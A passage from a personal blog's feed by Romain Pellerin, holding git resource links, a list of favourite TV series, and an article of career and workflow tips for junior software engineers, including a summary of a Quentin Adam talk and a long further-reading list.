&lt;li&gt;&lt;a href="http://krisjordan.com/essays/setting-up-push-to-deploy-with-git"&gt;Setting up Push-to-Deploy with git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.sitepoint.com/one-click-app-deployment-server-side-git-hooks/"&gt;One-click App Deployment with Server-side Git Hooks&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://williamdurand.fr/2012/02/25/deploying-with-git/"&gt;Deploying With Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/olipo186/Git-Auto-Deploy"&gt;Git-Auto-Deploy&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="commit-messages"&gt;Commit messages&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://chris.beams.io/posts/git-commit/"&gt;How to Write a Git Commit Message&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://antirez.com/news/90"&gt;Commit messages are not titles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jeffkreeftmeijer.com/2010/git-your-act-together/"&gt;Git your act together&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://alistapart.com/article/the-art-of-the-commit"&gt;The Art of the Commit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://conventionalcommits.org/"&gt;Conventional Commits&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="sub-projects-management-submobules-and-subtrees"&gt;Sub-projects management: submobules and subtrees&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://makingsoftware.wordpress.com/2013/02/16/using-git-subtrees-for-repository-separation/"&gt;Using Git subtrees for repository separation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.jingleweb.fr/2013/10/submodules-git-pourquoi-comment/"&gt;Submodules GIT: pourquoi, comment ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.git-attitude.fr/2014/12/31/git-submodules/"&gt;Comprendre et maîtriser les submodules Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://git-scm.com/book/en/v1/Git-Tools-Subtree-Merging"&gt;Subtree Merging (official documentation)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@porteneuve/mastering-git-subtrees-943d29a798ec"&gt;Mastering Git subtrees&lt;/a&gt;: &lt;code&gt;git read-tree&lt;/code&gt; and &lt;code&gt;git subtree&lt;/code&gt; are two different commands.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.atlassian.com/blog/2015/05/the-power-of-git-subtree/"&gt;The power of Git subtree&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="tricks"&gt;Tricks&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://pypi.python.org/pypi/ansi2html/1.0.7"&gt;Git diff to HTML&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://csswizardry.com/2017/05/little-things-i-like-to-do-with-git/"&gt;Little Things I Like to Do with Git&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=Rnh5QK__pLA"&gt;DevFest Nantes 2018 - Git Dammit !&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="presentation"></category><category term="talk"></category><category term="git"></category></entry><entry><title>The TV series I watch</title><link href="https://romainpellerin.eu/the-tv-series-i-watch.html" rel="alternate"></link><published>2015-06-02T01:00:00+02:00</published><updated>2025-11-21T23:30:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-06-02:/the-tv-series-i-watch.html</id><summary type="html">&lt;p&gt;Some of the best TV series in the last decade&lt;/p&gt;</summary><content type="html">&lt;p&gt;The past decade offered us a bunch of high-quality TV series. Here are my favorite ones (not sorted).&lt;/p&gt;
&lt;h1 id="shows-still-running"&gt;Shows still running&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Pluribus&lt;/li&gt;
&lt;li&gt;Black Mirror&lt;/li&gt;
&lt;li&gt;Stranger Things&lt;/li&gt;
&lt;li&gt;Lupin&lt;/li&gt;
&lt;li&gt;Tribes of Europa&lt;/li&gt;
&lt;li&gt;Formula 1: Drive to Survive&lt;/li&gt;
&lt;li&gt;Squid Game&lt;/li&gt;
&lt;li&gt;Tales of the Walking Dead&lt;/li&gt;
&lt;li&gt;The Walking Dead: Dead City&lt;/li&gt;
&lt;li&gt;The Walking Dead: Daryl Dixon&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="ended-or-canceled-tv-series"&gt;Ended or Canceled TV series&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;The Walking Dead&lt;/li&gt;
&lt;li&gt;Fear The Walking Dead&lt;/li&gt;
&lt;li&gt;The Walking Dead: World Beyond&lt;/li&gt;
&lt;li&gt;The Walking Dead: The Ones Who Live&lt;/li&gt;
&lt;li&gt;Tour de France: Unchained&lt;/li&gt;
&lt;li&gt;Paper Girls&lt;/li&gt;
&lt;li&gt;Ted Lasso&lt;/li&gt;
&lt;li&gt;La Casa de Papel&lt;/li&gt;
&lt;li&gt;Altered Carbon&lt;/li&gt;
&lt;li&gt;Vikings&lt;/li&gt;
&lt;li&gt;Mr. Robot&lt;/li&gt;
&lt;li&gt;Game of Thrones&lt;/li&gt;
&lt;li&gt;Breaking Bad + El Camino (a Breaking Bad movie ) + Better Call Saul&lt;/li&gt;
&lt;li&gt;Silicon Valley&lt;/li&gt;
&lt;li&gt;Revolution&lt;/li&gt;
&lt;li&gt;Halt and Catch Fire&lt;/li&gt;
&lt;li&gt;Sun Records&lt;/li&gt;
&lt;li&gt;Dark&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="tv-shows-i-dropped"&gt;TV shows I dropped&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;The 100 (after season 2 or 3)&lt;/li&gt;
&lt;li&gt;Sense 8 (after the very sexual episode, a Christmas special)&lt;/li&gt;
&lt;li&gt;Legion (after season 2, episode 7)&lt;/li&gt;
&lt;li&gt;Westworld (after season 2)&lt;/li&gt;
&lt;li&gt;Narcos (I watched season 1 and 2 for sure - 3 I am not so sure)&lt;/li&gt;
&lt;/ul&gt;</content><category term="About me"></category><category term="televion"></category><category term="tv series"></category></entry><entry><title>I Want To Be A More Efficient Developer</title><link href="https://romainpellerin.eu/i-want-to-be-a-more-efficient-developer.html" rel="alternate"></link><published>2015-05-25T17:17:00+02:00</published><updated>2020-05-28T01:27:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2015-05-25:/i-want-to-be-a-more-efficient-developer.html</id><summary type="html">&lt;p&gt;A few tips for Software Engineers and a brief sum-up about an excellent talk from Quentin Adam&lt;/p&gt;</summary><content type="html">&lt;p&gt;This article is mainly aimed at junior software engineers. It's kind of a set of tips to improve your everyday workflow, be a better programmer, find your dream job, or more generally, improve your skills in Computer Science.&lt;/p&gt;
&lt;p&gt;As a Software Engineering Student, I meet every day a lot of people learning programming languages, trying to build databases, creating websites. We, at the &lt;a href="http://www.utc.fr/"&gt;UTC&lt;/a&gt;, have a lot of projects, each semester. I feel so sad each time they fail at using best practices. Among them, the worst, in my opinion, is being stuck in Windows, the operating system. They simply miss a lot of things. They are ignorant, they have no idea how their computers work. But that's my opinion. Now, let's begin with a list of best practices I've learnt from great people.&lt;/p&gt;
&lt;h1 id="use-the-right-tools"&gt;Use the right tools&lt;/h1&gt;
&lt;h2 id="gnulinux"&gt;GNU/Linux&lt;/h2&gt;
&lt;p&gt;Or at least a Unix-like system. The terminal should be your best friend, be familiar with it. It's a lot more powerful than user interfaces. Unless you want to be a web designer, you must know how GNU/Linux works. Why? Because almost ALL servers rely on Unix systems. Another argument would be privacy, but that's another topic.&lt;/p&gt;
&lt;p&gt;There are plenty of user-friendly distributions, like Ubuntu or Xubuntu (my favorite one). As Windows users, you will hardly notice any difference, except for software compatibility. But hey, there are alternatives. And yes, you can keep Winodws on a separate partition for video games. I also &lt;a href="https://romainpellerin.eu/mastering-gnu-linux.html"&gt;wrote an article about GNU/Linux&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="git"&gt;Git&lt;/h2&gt;
&lt;p&gt;I've seen sooo many people sending each other source code via emails, or worse, Google Drive! What a pain in the ass! A lot of tools exist, such as Subversion, Mercurial, or Git. Obviously, Git is my favorite one (one of the reason is because it's Linus Torvalds himself who wrote it). And it's also more powerful than any other tool. For more information, checkout &lt;a href="https://romainpellerin.eu/git.html"&gt;my talk about Git&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="show-the-world-what-youve-done"&gt;Show the world what you've done&lt;/h1&gt;
&lt;p&gt;Every programmers should have public Git repositories. Github is a good platform for exposing your source code publicly, for free. I've heard a lot of recruiters asking for source code to browse, in order to see what you do, how good your code is (or is not), what kind of personal projects you have. They want to make sure you'll write good code if they hire you. Having many projects available on the Internet is also a proof that you're passionate about Computer Science. That's a huuuuge plus!&lt;/p&gt;
&lt;p&gt;Github. Recruiters love it. Literally.&lt;/p&gt;
&lt;p&gt;A blog is another good way to express your feelings, write down your thoughts, your discoveries. &lt;a href="https://github.com/getpelican/pelican"&gt;Setting up a blog doesn't take more than 5 minutes!&lt;/a&gt;. &lt;a href="http://blog.penso.info/2015/03/21/improve-blog-visibility/"&gt;Further reading about blogs here&lt;/a&gt;.&lt;/p&gt;
&lt;h1 id="great-inspiration-from-inspirational-people"&gt;Great inspiration from... inspirational people&lt;/h1&gt;
&lt;p&gt;Learn from them. They're all around us, just find them. Go to conferences, follow them on Twitter, read blog posts. During my last internship, I met a lot of talented people. I learnt a lot from them at that time. They're full of good advice. They have experience (and you don't, as a student).&lt;/p&gt;
&lt;h1 id="never-stop-learning"&gt;Never stop learning&lt;/h1&gt;
&lt;p&gt;What's more, &lt;a href="https://github.com/alex/what-happens-when"&gt;be curious&lt;/a&gt;! And, &lt;a href="https://github.com/sindresorhus/awesome"&gt;read&lt;/a&gt;, &lt;a href="https://github.com/bayandin/awesome-awesomeness"&gt;read a lot&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;RSS is not dead and is still a really good ally to be kept up-to-date with the latest news in Computer Science. RIP Google Reader, long live &lt;a href="https://github.com/FreshRSS/freshrss.org"&gt;FreshRSS&lt;/a&gt;!&lt;/p&gt;
&lt;h1 id="be-a-super-programmer"&gt;Be a super-programmer&lt;/h1&gt;
&lt;p&gt;Some basics I used to neglect... but now I regret. Every programmer should know those basic things. Once again, it helps a lot when it comes to interviews (for either an internship or a job). And this will be useful all your life. &lt;a href="http://www.joelonsoftware.com/articles/fog0000000043.html"&gt;The Joel Test&lt;/a&gt; is also a good indicator about how good your are with code.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://github.com/pusher/atom-pair"&gt;Pair programming&lt;/a&gt; is an incredible way to learn from your friends (or teach them) as well.&lt;/p&gt;
&lt;h2 id="data-structures-and-memory-management"&gt;Data structures and Memory management&lt;/h2&gt;
&lt;p&gt;Know the basic data structures, such a hash tables, primitives, etc. Those are the very basics of every programming language. You can't avoid them.&lt;/p&gt;
&lt;p&gt;You use Java everyday? Then you should know everything about Java memory management. Where are stored primitive types and objects? Stack? Heap? Doing C++? Where are stored lvalues, rvalues? And so on... A brief explanation about memory is in &lt;a href="https://romainpellerin.eu/understanding-the-memory.html"&gt;one of my articles&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This kind of advice applies to every language you claim to know.&lt;/p&gt;
&lt;h2 id="sorting-algorithms"&gt;Sorting algorithms&lt;/h2&gt;
&lt;p&gt;Know them. At least bubble, merge, quick sort, etc. Here is &lt;a href="http://www.sorting-algorithms.com/"&gt;a great website&lt;/a&gt;. Half the time, recruiters will ask you something about array sorting or things like that. And most of all, know their complexities!&lt;/p&gt;
&lt;h1 id="backup-every-little-thing-that-is-on-your-computerservers"&gt;Backup every little thing that is on your computer/servers&lt;/h1&gt;
&lt;p&gt;Consider everyday as the day your PC is gonna die. Projects should go to Github (or alternatives) if they are not confidential, personnal files to external hard drives (backed-up as well, so use at least two hard drives) or to the Cloud (I personally installed ownCloud on one of my servers). Once again, backup everything. Losing a whole hard drive disk is such a terrible thing, you can't predict nor prevent it. Be prepared. And for sure, you're gonna experience it, sooner or later.&lt;/p&gt;
&lt;h1 id="english-english-everywhere"&gt;English, English everywhere&lt;/h1&gt;
&lt;p&gt;Programming languages use English words, manuals are mostly written in English, almost everything in the Computer Science World is in English. So you'll have to get used to it. Be fluent. Set-up your devices to be in English. Same thing for your computer(s). Watch talks given in English. You will have to write English documentation, even though your company is not English. I wish every software engineer was bilingual, it would make things way easier. And guess what, &lt;a href="https://romainpellerin.eu/learning-a-foreign-language.html"&gt;learning a foreign language is not that hard!&lt;/a&gt;&lt;/p&gt;
&lt;h1 id="know-how-to-use-search-engines"&gt;Know how to use search engines&lt;/h1&gt;
&lt;p&gt;People whom repeatedly ask you simple things are such a pain! We have the entire world at our fingertips, thanks to the Internet. And we have Google. So please, Google everything! Google is smarter than us (or at least, he knows much more things). But first, learn (by yourself) how to use it. For instance, don't type whole sentences, use keywords.&lt;/p&gt;
&lt;h1 id="teach"&gt;Teach&lt;/h1&gt;
&lt;p&gt;Teaching people around you is a great way to stay "up-to-date". Sharing your knowledge, your passion, allows you to first organize ideas, sort them out, remove what's unnecessary. You then reach an even greater understanding of what you believed to know. Giving talks on a regular basis is a good way to practice.&lt;/p&gt;
&lt;h1 id="bonus"&gt;Bonus&lt;/h1&gt;
&lt;p&gt;A while ago, I came upon &lt;a href="http://www.infoq.com/fr/presentations/be-a-efficient-developer"&gt;this talk&lt;/a&gt;, given by Quentin Adam (CEO of &lt;a href="http://clever-cloud.com/"&gt;Clever Cloud&lt;/a&gt;) at Mix It 2014. Last year, I had been given the opportunity to do an internship at WhoWanna, a French startup. Back then, we were working in the same open space as Clever Cloud. Consequently, I was working very close to Clever Cloud, thus Quentin Adam. And I can tell you, he is a very good developer, and above all, a very good CEO, full of good advice. But let's move on to his talk.&lt;/p&gt;
&lt;p&gt;The full talk (video), with its slides, is accessible &lt;a href="http://www.infoq.com/fr/presentations/be-a-efficient-developer"&gt;here&lt;/a&gt;. For those of you that don't have the time to watch it, I summed up the content right below. But the video is worth it, you should watch it (although it's in French, &lt;a href="http://www.slideshare.net/quentinadam/mixit-efficient"&gt;the slides&lt;/a&gt; are in English).&lt;/p&gt;
&lt;p&gt;For your information, the article's title is shamelessly copied/inspired from his talk :-)&lt;/p&gt;
&lt;h2 id="sum-up-in-order-of-appearance"&gt;Sum up (in order of appearance)&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Be happy&lt;/strong&gt;: always try to work on projects you love. Work processes matter. Why people are happy? Cause they know that, as developers, they solve problems. They're not useless &lt;strong&gt;at all&lt;/strong&gt;. Get inspiration from Open Source.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Get the right environment&lt;/strong&gt;: work wherever you feel good. As developers, we only need a laptop and an Internet connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Be able to deploy seamlessly&lt;/strong&gt;: &lt;em&gt;release early, deploy often&lt;/em&gt;. This step should be easy. without any human interaction. Be focus when you code, on your code, not on deployment. You should be context-free: your application should not depend on the production environment. What's more, &lt;strong&gt;everyone&lt;/strong&gt; should be able to deploy, not only one person. The team should not rely on a single person.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Deploy as often as possible&lt;/strong&gt;: ideally, many times a day.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Split your apps into small modules:&lt;/strong&gt; then you'll get a smaller codebase for each app. Each module is a service for other modules: use HTTP or AMQP between them.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use the relevant technology, not the one you prefer&lt;/strong&gt;: the language (or any other related tool) should be chosen according to your needs.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The two previous points refer to the &lt;a href="http://en.wikipedia.org/wiki/Unix_philosophy#Eric_Raymond.E2.80.99s_17_Unix_Rules"&gt;KISS philosophy&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use online databases&lt;/strong&gt;: then you'll be ready to test in a few minutes. Your sys admins will love you: they won't have to edit any conf file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Make all deployments asynchronous, module by module&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Avoid host-specific things&lt;/strong&gt;: refers to point 3.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Do not use file system to store something&lt;/strong&gt;: not its purpose. It doesn't scale. Use databases, or external services such as &lt;a href="http://aws.amazon.com/s3/"&gt;Amazon S3&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Modularize your team&lt;/strong&gt;: avoid meetings, they're painful and almost useless. If anyone in your team has trouble, there's a problem. You have to maintain an internal documentation, clear, accessible to everyone, that gives you a good overview of your infrastructure.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Know your code and trash it if needed&lt;/strong&gt;: it's sometimes an excellent idea to rewrite a whole module.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use the right tools&lt;/strong&gt;: no one should be forced to use a specific IDE.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use a version control system for code and APIs, log EVERYTHING&lt;/strong&gt;: you'll then know if an old API is still used. Ideally, use Git.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use HTTP the right way&lt;/strong&gt;: wanna throw an error? Use 40x or 50x codes. The body of a request is just complementary information.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Use a build manager and a configuration library&lt;/strong&gt;: anyone should be able to build your application, no matter what IDE or platform you use (also refers to point 14). Don't hardcode your variables or settings.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Learn Git&lt;/strong&gt;: ideally, use the command line interface. It's far more powerful than graphical tools, and more clear.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Avoid early performance optimization&lt;/strong&gt;: compilers often optimize your code. Promote code readability. You will measure your code performance later.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Always think like it's your first day on the project&lt;/strong&gt;: is the project easy to compile and run? Is the documentation clear? Make things easier for other developers.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Documentation matters, a lot&lt;/strong&gt;: write everything. Oral communication is not as efficient as a good documentation. Refers to point 12.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Hope you'll find it useful.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;
Well, that's all for this article. Some very simple tips to follow, and then you'll become a real software engineer (in my opinion, at least).&lt;/p&gt;
&lt;h1 id="further-reading"&gt;Further reading&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://lea.verou.me/2012/01/why-tabs-are-clearly-superior/"&gt;Why tabs are clearly superior&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.uslide.io/presentations/Aw6sX5ug-Tfzw5rNXAmdJg"&gt;"Development Principles and Philosophy" par F.G. Ribreau&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://getawesomeness.com/"&gt;getAwesomeness: to retrieve all amazing awesomeness from Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.geek-directeur-technique.com/2013/12/16/les-9-regles-de-tim-minchin"&gt;Les 9 règles de Tim Minchin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://coreight.com/content/etapes-succes"&gt;Les étapes vers le succès&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/life-learning/why-knowing-stuff-doesn-t-really-matter-f06a5536ab59"&gt;Why Knowing Stuff Doesn’t Really Matter&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.freecodecamp.com/being-a-developer-after-40-3c5dd112210c"&gt;Being A Developer After 40&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.hanselman.com/blog/AmIReallyADeveloperOrJustAGoodGoogler.aspx"&gt;Am I really a developer or just a good googler?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://norvig.com/21-days.html"&gt;Teach Yourself Programming in Ten Years&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=CeaoTAXkIZE"&gt;How does Clever Cloud work? (Clément Delafargue - Quentin Adam)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@romainserman/silicon-valley-etiquette-6934cf6f8f73"&gt;Silicon Valley Etiquette&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://alexdenning.com/deep-work-in-practice/"&gt;Deep work in practice: reimagining my workflow for radically less distraction&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://gb-prod.fr/2016/12/01/la-revue-de-code-bienveillante.html"&gt;La revue de code bienveillante&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.nelhage.com/2016/12/how-i-test/"&gt;How I Write Tests&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.bbc.com/capital/story/20170105-open-offices-are-damaging-our-memories"&gt;Why open offices are bad for us&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://derniercri.io/tech-blog/structure-algebriques-introduction"&gt;Introduction aux structures algébriques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.geek-directeur-technique.com/2017/02/08/normes-utiles"&gt;Normes utiles&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/trisfera/general-coding-guidelines-clean-code-from-day-1-9ab0804e5d91"&gt;General Coding Guidelines: Clean Code From Day 1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ssi.gouv.fr/uploads/2017/01/guide_hygiene_informatique_anssi.pdf"&gt;GUIDE D’HYGIÈNE INFORMATIQUE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://whatcanidoformozilla.org"&gt;What Can I Do For Mozilla?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.dev-books.com/"&gt;Top mentioned books on stackoverflow.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://drewdevault.com/2017/03/15/How-I-learned-to-stop-worrying-and-love-C.html"&gt;Principles for C programming&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.cirosantilli.com/articles/"&gt;Articles about x86 assembly, C, C++, Nodejs, Git, etc&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spin.atomicobject.com/2014/09/03/visualizing-garbage-collection-algorithms/"&gt;Visualizing Garbage Collection Algorithms&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.google.com/web/updates/2017/04/headless-chrome"&gt;Getting Started with Headless Chrome&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=V4J-m3o5JWg"&gt;Ratez vos revues de code en 5 leçons ! (Michel Domenjoud)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=KH40vSYLENA"&gt;10 méthodes pour rendre heureux les développeurs (Cyril Lakech - Romain Linsolas)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.geek-directeur-technique.com/2017/06/29/gerer-sa-carriere"&gt;Gérer sa carrière&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sidbala.com/h-264-is-magic/"&gt;H.264 is Magic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/zeeshanu/learn-regex"&gt;Learn regex the easy way &lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mtlynch.io/human-code-reviews-1/"&gt;How to Do Code Reviews Like a Human (Part One)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mtlynch.io/human-code-reviews-2/"&gt;How to Do Code Reviews Like a Human (Part Two)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.todoist.com/2015/09/01/how-to-focus-better-at-work/"&gt;Why Focus Is Your Greatest Competitive Advantage at Work (Plus 19 Ways To Actually Do It)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gist.github.com/rondy/af1dee1d28c02e9a225ae55da2674a6f"&gt;Effective Engineer - Notes&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://davepaola.com/2018/01/25/if-you-multitask-during-meetings-your-team-will-too/"&gt;If You Multitask During Meetings, Your Team Will, Too&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.fs.blog/2012/04/learn-anything-faster-with-the-feynman-technique/"&gt;The Feynman Technique: The Best Way to Learn Anything&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.octo.com/egoless-programming/"&gt;Egoless Programming&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://blog.octo.com/revue-de-code-quel-format-choisir/"&gt;Revue de code : quel format choisir ?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.themindsetapp.com/musk-letter/"&gt;Elon Musk reveals his productivity rules in a letter he sent to Tesla employees&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://blog.samaltman.com/productivity"&gt;Productivity&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.ted.com/talks/simon_sinek_how_great_leaders_inspire_action"&gt;Simon Sinek: How great leaders inspire action | TED Talk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=Vx9prTKpzCc"&gt;Comment négocier son salaire&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.dedoimedo.com/computers/linux-beginning-of-the-end.html"&gt;Linux - The beginning of the end&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tonsky.me/blog/disenchantment/"&gt;Software disenchantment&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=-Qy2vist-XQ"&gt;This Is How Successful People Manage Their Time&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gomakethings.com/what-makes-someone-a-good-front-end-developer/"&gt;What makes someone a good front-end developer?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ahrefs.com/blog/google-advanced-search-operators/"&gt;Google Search Operators: The Complete List (42 Advanced Operators)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://css-tricks.com/the-importance-of-one-on-ones/"&gt;The Importance of One-on-Ones&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://increment.com/internationalization/its-probably-never-going-to-work-in-german/"&gt;It’s probably never going to work in German&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://anaxi.com/blog/2019/02/20/how-to-make-other-developers-hate-to-work-with-you/"&gt;How to Make Other Developers Hate to Work with You&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.timsommer.be/famous-laws-of-software-development/"&gt;Famous laws of Software development&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://carbon.now.sh"&gt;Carbon: Create and share beautiful images of your source code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://codeblog.jonskeet.uk/2019/03/27/storing-utc-is-not-a-silver-bullet/"&gt;Storing UTC is not a silver bullet&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://lehollandaisvolant.net/?d=2019/04/02/12/19/05-teignez-vos-appareils"&gt;Éteignez vos appareils&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/wesbos/awesome-uses"&gt;Awesome Uses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.dave-bailey.com/the-essential-guide-to-difficult-conversations-41f736e63ccf"&gt;How to Deliver Constructive Feedback in Difficult Situations&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sizovs.net/2019/04/10/the-best-developers-are-raised-not-hired/"&gt;Great developers are raised, not hired&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mobile.twitter.com/jessitron/status/1123310331957145601"&gt;When we rush development, skip tests and refactoring, we get “Escalating Risk.” Please give up the “technical debt” description; it gives businesspeople a very wrong impression of the tradeoffs.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://jamie-wong.com/2013/07/12/grep-test/"&gt;Too DRY - The Grep Test&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://medium.com/@waxzce/la-dette-technique-une-supercherie-mythologique-pour-gal%C3%A9riens-de-lit-7ed0dfbf39c7"&gt;La dette technique : une supercherie mythologique pour galériens de l’IT&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://increment.com/teams/how-to-build-a-startup-engineering-team/"&gt;How to build a startup engineering team&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://ifttd.io/21-une-organisation-libre-ou-prime-innovation-et-bonheur-quentin-adam/"&gt;#21 – Une organisation libre où prime innovation et bonheur – Quentin Adam&lt;/a&gt;&lt;/li&gt;
